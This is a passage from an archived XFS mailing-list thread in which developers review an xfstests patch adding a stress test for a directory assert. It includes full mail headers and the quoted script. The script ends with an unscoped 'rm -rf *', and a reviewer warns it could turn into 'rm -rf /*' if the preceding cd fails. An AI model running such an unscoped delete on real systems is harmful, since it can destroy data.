&v))) > + return rval; > + else if (v) > + rval = xfs_dir2_leaf_addname(&args); > + else > + rval = xfs_dir2_node_addname(&args); > + return rval; > +} From guaneryu@gmail.com Tue Sep 17 10:29:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1D0C37F52 for ; Tue, 17 Sep 2013 10:29:04 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id E835E8F8033 for ; Tue, 17 Sep 2013 08:29:00 -0700 (PDT) X-ASG-Debug-ID: 1379431739-04cbb02c3c10f6c90001-NocioJ Received: from mail-pa0-f43.google.com (mail-pa0-f43.google.com [209.85.220.43]) by cuda.sgi.com with ESMTP id XOp8yikHp6z7bTod (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 17 Sep 2013 08:28:59 -0700 (PDT) X-Barracuda-Envelope-From: guaneryu@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.220.43 Received: by mail-pa0-f43.google.com with SMTP id hz10so6959931pad.16 for ; Tue, 17 Sep 2013 08:28:59 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:message-id:references:mime-version :content-type:content-disposition:in-reply-to:user-agent; bh=qBuLUVFlzTK8sAMCxmNp/O8t4FpCwzh/AKnZBC4lrNk=; b=tO0xCfMZ4xx/a7Mjbe8Q5yOEviEbQS7DdiYQT3N9bKBFNOmBzlM+Id+c+ylpnoQIGI kwn12I/pn7572YXDWoZqAVrSiQTtydPpLpYtgTxftpzQUqpTByqBYJTC8sCOwB/seGlj kuBghZlzEA40FVnvEFCZK30UX+zhkr0U7JKpsviyX8wTDM2T1HRvW9EGIsJqw3EJLwLQ ja+WPaJ1aBuBj9lngYPrqoeMkLg8q0EqhClDam67WbLsUFW3XdtUwYjxu3NAx5ZFgw55 5pkqXS8zu1Vi4xqC/8SIjBGVO0MQHeShOTGWJppLpJhjEX9wPhx9vAYhJKtu35HYTcPf gIlQ== X-Barracuda-BBL-IP: nil X-Received: by 10.66.27.43 with SMTP id q11mr36708681pag.97.1379431739299; Tue, 17 Sep 2013 08:28:59 -0700 (PDT) Received: from localhost ([61.51.141.214]) by mx.google.com with ESMTPSA id lm2sm46840836pab.2.1969.12.31.16.00.00 (version=TLSv1.2 cipher=RC4-SHA bits=128/128); Tue, 17 Sep 2013 08:28:58 -0700 (PDT) Date: Tue, 17 Sep 2013 23:28:52 +0800 X-Barracuda-Apparent-Source-IP: 61.51.141.214 From: Eryu Guan To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: xfs directory unbalance assert test Message-ID: <20130917152852.GA9550@dhcp-13-216.nay.redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: xfs directory unbalance assert test References: <20130917145946.124195107@sgi.com> <20130917145959.333796933@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130917145959.333796933@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: mail-pa0-f43.google.com[209.85.220.43] X-Barracuda-Start-Time: 1379431739 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140695 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, Sep 17, 2013 at 09:59:47AM -0500, Mark Tinguely wrote: > This tests triggers an assert in the XFS directory unbalance code. > This test originally written by Brian Foster and suggestions > from Micheal Semon. > > Signed-off-by: Mark Tinguely > --- > tests/generic/319 | 62 ++++++++++++++++++++++++++++++++++++++++++++++++++ > tests/generic/319.out | 2 + > tests/generic/group | 1 > 3 files changed, 65 insertions(+) > > Index: b/tests/generic/319 > =================================================================== > --- /dev/null > +++ b/tests/generic/319 > @@ -0,0 +1,62 @@ > +#! /bin/bash > +# FS QA Test No. 319 > +# > +# Test directory code correctly handles fsstress filling the filesystem > +# > +#----------------------------------------------------------------------- > +# Copyright (c) 2013 SGI. All Rights Reserved. > +# > +# This program is free software; you can redistribute it and/or > +# modify it under the terms of the GNU General Public License as > +# published by the Free Software Foundation. > +# > +# This program is distributed in the hope that it would be useful, > +# but WITHOUT ANY WARRANTY; without even the implied warranty of > +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > +# GNU General Public License for more details. > +# > +# You should have received a copy of the GNU General Public License > +# along with this program; if not, write the Free Software Foundation, > +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > +#----------------------------------------------------------------------- > +# > + > +seq=`basename $0` > +seqres=$RESULT_DIR/$seq > +echo "QA output created by $seq" > + > +here=`pwd` > +tmp=/tmp/$$ > +status=1 # failure is the default! > +trap "_cleanup; exit \$status" 0 1 2 3 15 > + > +_cleanup() > +{ > + cd / > +} > + > +# get standard environment, filters and checks > +. ./common/rc > +. ./common/filter > +_require_scratch > + > +# real QA test starts here > + > +_supported_fs generic > +_supported_os IRIX Linux > + > +_scratch_unmount > /dev/null 2>&1 This is not necessary, _require_scratch has done the unmount work. > +_scratch_mkfs_sized 11g >> $seqres.full 2>&1 _scratch_mkfs_sized expects fssize in bytes, 11g is not a valid value The comments in common/rc about _scratch_mkfs_sized say # _scratch_mkfs_sized [optional blocksize] > +_scratch_mount > /dev/null 2>&1 > + > +# Fill the filesystem. > +FSSTRESS_ARGS="-z -s 1378390208 -fsymlink=1 -n7500000 -p4 -d $SCRATCH_MNT" > +$FSSTRESS_PROG $FSSTRESS_ARGS >> $seqres.full 2>&1 > + > +cd $SCRATCH_MNT >> $seqres.full 2>&1 > +sync > +# A debug XFS may assert in the remove due to a directory bug. > +rm -rf * > +echo "--- silence is golden ---" > +status=0 > +exit > Index: b/tests/generic/319.out > =================================================================== > --- /dev/null > +++ b/tests/generic/319.out > @@ -0,0 +1,2 @@ > +QA output created by 319 > +--- silence is golden --- > Index: b/tests/generic/group > =================================================================== > --- a/tests/generic/group > +++ b/tests/generic/group > @@ -121,3 +121,4 @@ > 316 auto quick > 317 auto metadata quick > 318 acl attr auto quick > +319 stress Should be in auto group too I guess. Thanks, Eryu Guan > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From sandeen@sandeen.net Tue Sep 17 10:41:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EA7BA7F50 for ; Tue, 17 Sep 2013 10:41:43 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id D9780304039 for ; Tue, 17 Sep 2013 08:41:40 -0700 (PDT) X-ASG-Debug-ID: 1379432499-04cbb02c3b10f8100001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id 72dXQcUOSgsrqi6D for ; Tue, 17 Sep 2013 08:41:39 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 0DC9E6052408; Tue, 17 Sep 2013 10:41:38 -0500 (CDT) Message-ID: <52387831.5010205@sandeen.net> Date: Tue, 17 Sep 2013 10:41:37 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Mark Tinguely CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: xfs directory unbalance assert test References: <20130917145946.124195107@sgi.com> <20130917145959.333796933@sgi.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: xfs directory unbalance assert test In-Reply-To: <20130917145959.333796933@sgi.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1379432499 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140695 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/17/13 9:59 AM, Mark Tinguely wrote: > This tests triggers an assert in the XFS directory unbalance code. > This test originally written by Brian Foster and suggestions > from Micheal Semon. cool, thanks. Comments below. > Signed-off-by: Mark Tinguely > --- > tests/generic/319 | 62 ++++++++++++++++++++++++++++++++++++++++++++++++++ > tests/generic/319.out | 2 + > tests/generic/group | 1 > 3 files changed, 65 insertions(+) > > Index: b/tests/generic/319 > =================================================================== > --- /dev/null > +++ b/tests/generic/319 > @@ -0,0 +1,62 @@ > +#! /bin/bash > +# FS QA Test No. 319 > +# > +# Test directory code correctly handles fsstress filling the filesystem > +# > +#----------------------------------------------------------------------- > +# Copyright (c) 2013 SGI. All Rights Reserved. > +# > +# This program is free software; you can redistribute it and/or > +# modify it under the terms of the GNU General Public License as > +# published by the Free Software Foundation. > +# > +# This program is distributed in the hope that it would be useful, > +# but WITHOUT ANY WARRANTY; without even the implied warranty of > +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > +# GNU General Public License for more details. > +# > +# You should have received a copy of the GNU General Public License > +# along with this program; if not, write the Free Software Foundation, > +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > +#----------------------------------------------------------------------- > +# > + > +seq=`basename $0` > +seqres=$RESULT_DIR/$seq > +echo "QA output created by $seq" > + > +here=`pwd` > +tmp=/tmp/$$ > +status=1 # failure is the default! > +trap "_cleanup; exit \$status" 0 1 2 3 15 > + > +_cleanup() > +{ > + cd / > +} That seems pointless; usually it's done w/ rm -f $tmp.* right after, but we have no tmpfile, so... > + > +# get standard environment, filters and checks > +. ./common/rc > +. ./common/filter > +_require_scratch > + > +# real QA test starts here > + > +_supported_fs generic > +_supported_os IRIX Linux > + > +_scratch_unmount > /dev/null 2>&1 Aside: I see this done both ways - is it required to unmount scratch at the beginning of a test? I don't think so (I know it's done in many tests, though, but again, C&P & cargo cult? Or not? I'm not sure :( ) I guess it doesn't hurt, but at some point I'd like to get it straight about who's required to umount scratch, and when (if at all). > +_scratch_mkfs_sized 11g >> $seqres.full 2>&1 _scratch_mkfs_sized doesn't take units like this ('g'), so the above fails to actually make an 11g fs: # Create fs of certain size on scratch device # _scratch_mkfs_sized [optional blocksize] _scratch_mkfs_sized() so we get this in 319.full: expr: non-numeric argument ./common/rc: line 576: [: 11g: integer expression expected but then it seems like mkfs carries on anyway w/ defaults. :( Apparently the mkfs 11g part isn't actually critical? ;) maybe _scratch_mkfs_sized needs something like this at the top: re='^[0-9]+$' if ! [[ $fssize =~ $re ]] ; then _notrun "error: _scratch_mkfs_sized: $fssize not a number of bytes" fi > +_scratch_mount > /dev/null 2>&1 is ignore-all-output really the right thing to do? When does _scratch_mount emit anything? (more cargo cult)? :) > +# Fill the filesystem. > +FSSTRESS_ARGS="-z -s 1378390208 -fsymlink=1 -n7500000 -p4 -d $SCRATCH_MNT" > +$FSSTRESS_PROG $FSSTRESS_ARGS >> $seqres.full 2>&1 > + > +cd $SCRATCH_MNT >> $seqres.full 2>&1 cd doesn't emit anything except on error, right, and if there's an error we'd better stop the test right here! > +sync > +# A debug XFS may assert in the remove due to a directory bug. > +rm -rf * I'd feel a whole lot better if you did rm -rf $SCRATCH_MNT/* just in case we somehow ended up in the wrong place here. Or even better if you pointed fsstress at $SCRATCH_MNT/$seq.dir, and then did rm -rf $SCRATCH_MNT/$seq.dir - just to avoid that nasty should-never-happen-still-scary "rm -rf /*" -Eric > +echo "--- silence is golden ---" > +status=0 > +exit > Index: b/tests/generic/319.out > =================================================================== > --- /dev/null > +++ b/tests/generic/319.out > @@ -0,0 +1,2 @@ > +QA output created by 319 > +--- silence is golden --- > Index: b/tests/generic/group > =================================================================== > --- a/tests/generic/group > +++ b/tests/generic/group > @@ -121,3 +121,4 @@ > 316 auto quick > 317 auto metadata quick > 318 acl attr auto quick > +319 stress > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From tinguely@sgi.com Tue Sep 17 10:48:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 666317F50 for ; Tue, 17 Sep 2013 10:48:46 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3228C8F8050; Tue, 17 Sep 2013 08:48:46 -0700 (PDT) Message-ID: <523879DE.1020302@sgi.com> Date: Tue, 17 Sep 2013 10:48:46 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Eryu Guan CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: xfs directory unbalance assert test References: <20130917145946.124195107@sgi.com> <20130917145959.333796933@sgi.com> <20130917152852.GA9550@dhcp-13-216.nay.redhat.com> In-Reply-To: <20130917152852.GA9550@dhcp-13-216.nay.redhat.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/17/13 10:28, Eryu Guan wrote: > On Tue, Sep 17, 2013 at 09:59:47AM -0500, Mark Tinguely wrote: ... >> +_scratch_unmount> /dev/null 2>&1 > > This is not necessary, _require_scratch has done the unmount work. okay, stole that from other tests. > >> +_scratch_mkfs_sized 11g>> $seqres.full 2>&1 > > _scratch_mkfs_sized expects fssize in bytes, 11g is not a valid value > The comments in common/rc about _scratch_mkfs_sized say > > # _scratch_mkfs_sized [optional blocksize] That was a shortcut for xfs. Looking in common/rc. I see that it breaks the other filesystems that need the size in blocks. ... >> @@ -0,0 +1,2 @@ >> +QA output created by 319 >> +--- silence is golden --- >> Index: b/tests/generic/group >> =================================================================== >> --- a/tests/generic/group >> +++ b/tests/generic/group >> @@ -121,3 +121,4 @@ >> 316 auto quick >> 317 auto metadata quick >> 318 acl attr auto quick >> +319 stress > > Should be in auto group too I guess. It takes a very long time to run to completion, don't know if people want this in the auto run. > Thanks, > Eryu Guan Thanks for the feedback --Mark. From sandeen@sandeen.net Tue Sep 17 10:51:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B9BD67F52 for ; Tue, 17 Sep 2013 10:51:37 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 557C2AC005 for ; Tue, 17 Sep 2013 08:51:37 -0700 (PDT) X-ASG-Debug-ID: 1379433095-04bdf053871d1690001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id aY65dBYZUot7poqL for ; Tue, 17 Sep 2013 08:51:36 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 78FE26052408; Tue, 17 Sep 2013 10:51:35 -0500 (CDT) Message-ID: <52387A86.9000201@sandeen.net> Date: Tue, 17 Sep 2013 10:51:34 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Mark Tinguely CC: Eryu Guan , xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: xfs directory unbalance assert test References: <20130917145946.124195107@sgi.com> <20130917145959.333796933@sgi.com> <20130917152852.GA9550@dhcp-13-216.nay.redhat.com> <523879DE.1020302@sgi.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: xfs directory unbalance assert test In-Reply-To: <523879DE.1020302@sgi.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1379433095 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140696 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/17/13 10:48 AM, Mark Tinguely wrote: > On 09/17/13 10:28, Eryu Guan wrote: >> On Tue, Sep 17, 2013 at 09:59:47AM -0500, Mark Tinguely wrote: > ... > >>> +_scratch_unmount> /dev/null 2>&1 >> >> This is not necessary, _require_scratch has done the unmount work. > > okay, stole that from other tests. > >> >>> +_scratch_mkfs_sized 11g>> $seqres.full 2>&1 >> >> _scratch_mkfs_sized expects fssize in bytes, 11g is not a valid value >> The comments in common/rc about _scratch_mkfs_sized say >> >> # _scratch_mkfs_sized [optional blocksize] > > That was a shortcut for xfs. Looking in common/rc. I see that it breaks the other filesystems that need the size in blocks. at least mkfs.extN also understands "11g" but the helper does not, because it causes a failure in the device size check, (for any fs): [ "$fssize" -gt "$devsize" ] && _notrun "Scratch device too small" > ... > >>> @@ -0,0 +1,2 @@ >>> +QA output created by 319 >>> +--- silence is golden --- >>> Index: b/tests/generic/group >>> =================================================================== >>> --- a/tests/generic/group >>> +++ b/tests/generic/group >>> @@ -121,3 +121,4 @@ >>> 316 auto quick >>> 317 auto metadata quick >>> 318 acl attr auto quick >>> +319 stress >> >> Should be in auto group too I guess. > > It takes a very long time to run to completion, don't know if people want this in the auto run. how long is long? We do have "quick" for people who want quick. I think auto is probably ok. Maybe we should add a "slow" group, and you can "-x slow" :) -Eric >> Thanks, >> Eryu Guan > > Thanks for the feedback > > --Mark. > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From tinguely@sgi.com Tue Sep 17 10:58:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 34BD27F54 for ; Tue, 17 Sep 2013 10:58:20 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id E27E78F8050; Tue, 17 Sep 2013 08:58:19 -0700 (PDT) Message-ID: <52387C1B.6090203@sgi.com> Date: Tue, 17 Sep 2013 10:58:19 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Eric Sandeen CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: xfs directory unbalance assert test References: <20130917145946.124195107@sgi.com> <20130917145959.333796933@sgi.com> <52387831.5010205@sandeen.net> In-Reply-To: <52387831.5010205@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/17/13 10:41, Eric Sandeen wrote: > On 9/17/13 9:59 AM, Mark Tinguely wrote: >> This tests triggers an assert in the XFS directory unbalance code. >> This test originally written by Brian Foster and suggestions >> from Micheal Semon. > > cool, thanks. Comments below. > >> Signed-off-by: Mark Tinguely >> --- >> tests/generic/319 | 62 ++++++++++++++++++++++++++++++++++++++++++++++++++ >> tests/generic/319.out | 2 + >> tests/generic/group | 1 >> 3 files changed, 65 insertions(+) >> >> Index: b/tests/generic/319 >> =================================================================== >> --- /dev/null >> +++ b/tests/generic/319 >> @@ -0,0 +1,62 @@ >> +#! /bin/bash >> +# FS QA Test No. 319 >> +# >> +# Test directory code correctly handles fsstress filling the filesystem >> +# >> +#----------------------------------------------------------------------- >> +# Copyright (c) 2013 SGI. All Rights Reserved. >> +# >> +# This program is free software; you can redistribute it and/or >> +# modify it under the terms of the GNU General Public License as >> +# published by the Free Software Foundation. >> +# >> +# This program is distributed in the hope that it would be useful, >> +# but WITHOUT ANY WARRANTY; without even the implied warranty of >> +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the >> +# GNU General Public License for more details. >> +# >> +# You should have received a copy of the GNU General Public License >> +# along with this program; if not, write the Free Software Foundation, >> +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA >> +#----------------------------------------------------------------------- >> +# >> + >> +seq=`basename $0` >> +seqres=$RESULT_DIR/$seq >> +echo "QA output created by $seq" >> + >> +here=`pwd` >> +tmp=/tmp/$$ >> +status=1 # failure is the default! >> +trap "_cleanup; exit \$status" 0 1 2 3 15 >> + >> +_cleanup() >> +{ >> + cd / >> +} > > That seems pointless; usually it's done w/ rm -f $tmp.* > right after, but we have no tmpfile, so... Yeah, no cleanup is needed. >> + >> +# get standard environment, filters and checks >> +. ./common/rc >> +. ./common/filter >> +_require_scratch >> + >> +# real QA test starts here >> + >> +_supported_fs generic >> +_supported_os IRIX Linux >> + >> +_scratch_unmount> /dev/null 2>&1 > > Aside: > > I see this done both ways - is it required to unmount scratch at the beginning > of a test? I don't think so (I know it's done in many tests, though, but > again, C&P& cargo cult? Or not? I'm not sure :( ) > > I guess it doesn't hurt, but at some point I'd like to get it straight > about who's required to umount scratch, and when (if at all). Have to unmount for the mkfs, as noted by Eryu, it is already done. I would rather manually unmount it than be surprised when someone changes the common files. > >> +_scratch_mkfs_sized 11g>> $seqres.full 2>&1 > > _scratch_mkfs_sized doesn't take units like this ('g'), so the above fails to > actually make an 11g fs: > > # Create fs of certain size on scratch device > # _scratch_mkfs_sized [optional blocksize] > _scratch_mkfs_sized() > > so we get this in 319.full: > > expr: non-numeric argument > ./common/rc: line 576: [: 11g: integer expression expected > > but then it seems like mkfs carries on anyway w/ defaults. :( > > Apparently the mkfs 11g part isn't actually critical? ;) it works on xfs because mkfs.xfs size can take those values, but yes it breaks on other filesystem. my bad. > > maybe _scratch_mkfs_sized needs something like this at the top: > > re='^[0-9]+$' > if ! [[ $fssize =~ $re ]] ; then > _notrun "error: _scratch_mkfs_sized: $fssize not a number of bytes" > fi > >> +_scratch_mount> /dev/null 2>&1 > > is ignore-all-output really the right thing to do? When does _scratch_mount > emit anything? (more cargo cult)? :) > >> +# Fill the filesystem. >> +FSSTRESS_ARGS="-z -s 1378390208 -fsymlink=1 -n7500000 -p4 -d $SCRATCH_MNT" >> +$FSSTRESS_PROG $FSSTRESS_ARGS>> $seqres.full 2>&1 >> + >> +cd $SCRATCH_MNT>> $seqres.full 2>&1 > > cd doesn't emit anything except on error, right, and if there's an error we'd better > stop the test right here! > >> +sync >> +# A debug XFS may assert in the remove due to a directory bug. >> +rm -rf * > > I'd feel a whole lot better if you did rm -rf $SCRATCH_MNT/* just in case > we somehow ended up in the wrong place here. > > Or even better if you pointed fsstress at $SCRATCH_MNT/$seq.dir, and > then did rm -rf $SCRATCH_MNT/$seq.dir - just to avoid that nasty > should-never-happen-still-scary "rm -rf /*" > Makes a lot of sense. > -Eric Thanks Eric. From tinguely@sgi.com Tue Sep 17 11:00:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CA48F7F54 for ; Tue, 17 Sep 2013 11:00:18 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8FC218F8050; Tue, 17 Sep 2013 09:00:18 -0700 (PDT) Message-ID: <52387C92.9010201@sgi.com> Date: Tue, 17 Sep 2013 11:00:18 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Eric Sandeen CC: Eryu Guan , xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: xfs directory unbalance assert test References: <20130917145946.124195107@sgi.com> <20130917145959.333796933@sgi.com> <20130917152852.GA9550@dhcp-13-216.nay.redhat.com> <523879DE.1020302@sgi.com> <52387A86.9000201@sandeen.net> In-Reply-To: <52387A86.9000201@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/17/13 10:51, Eric Sandeen wrote: > On 9/17/13 10:48 AM, Mark Tinguely wrote: >> On 09/17/13 10:28, Eryu Guan wrote: >>> On Tue, Sep 17, 2013 at 09:59:47AM -0500, Mark Tinguely wrote: >> ... >> >>>> +_scratch_unmount> /dev/null 2>&1 >>> >>> This is not necessary, _require_scratch has done the unmount work. >> >> okay, stole that from other tests. >> >>> >>>> +_scratch_mkfs_sized 11g>> $seqres.full 2>&1 >>> >>> _scratch_mkfs_sized expects fssize in bytes, 11g is not a valid value >>> The comments in common/rc about _scratch_mkfs_sized say >>> >>> # _scratch_mkfs_sized [optional blocksize] >> >> That was a shortcut for xfs. Looking in common/rc. I see that it breaks the other filesystems that need the size in blocks. > > at least mkfs.extN also understands "11g" but the helper does not, because > it causes a failure in the device size check, (for any fs): > > [ "$fssize" -gt "$devsize" ]&& _notrun "Scratch device too small" >> ... >> >>>> @@ -0,0 +1,2 @@ >>>> +QA output created by 319 >>>> +--- silence is golden --- >>>> Index: b/tests/generic/group >>>> =================================================================== >>>> --- a/tests/generic/group >>>> +++ b/tests/generic/group >>>> @@ -121,3 +121,4 @@ >>>> 316 auto quick >>>> 317 auto metadata quick >>>> 318 acl attr auto quick >>>> +319 stress >>> >>> Should be in auto group too I guess. >> >> It takes a very long time to run to completion, don't know if people want this in the auto run. > > how long is long? We do have "quick" for people who want quick. I think auto is probably > ok. Maybe we should add a "slow" group, and you can "-x slow" :) > > -Eric > >>> Thanks, >>> Eryu Guan >> >> Thanks for the feedback >> >> --Mark. About 45 minutes. --Mark. From sandeen@sandeen.net Tue Sep 17 11:06:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 522417F50 for ; Tue, 17 Sep 2013 11:06:59 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4152D304039 for ; Tue, 17 Sep 2013 09:06:56 -0700 (PDT) 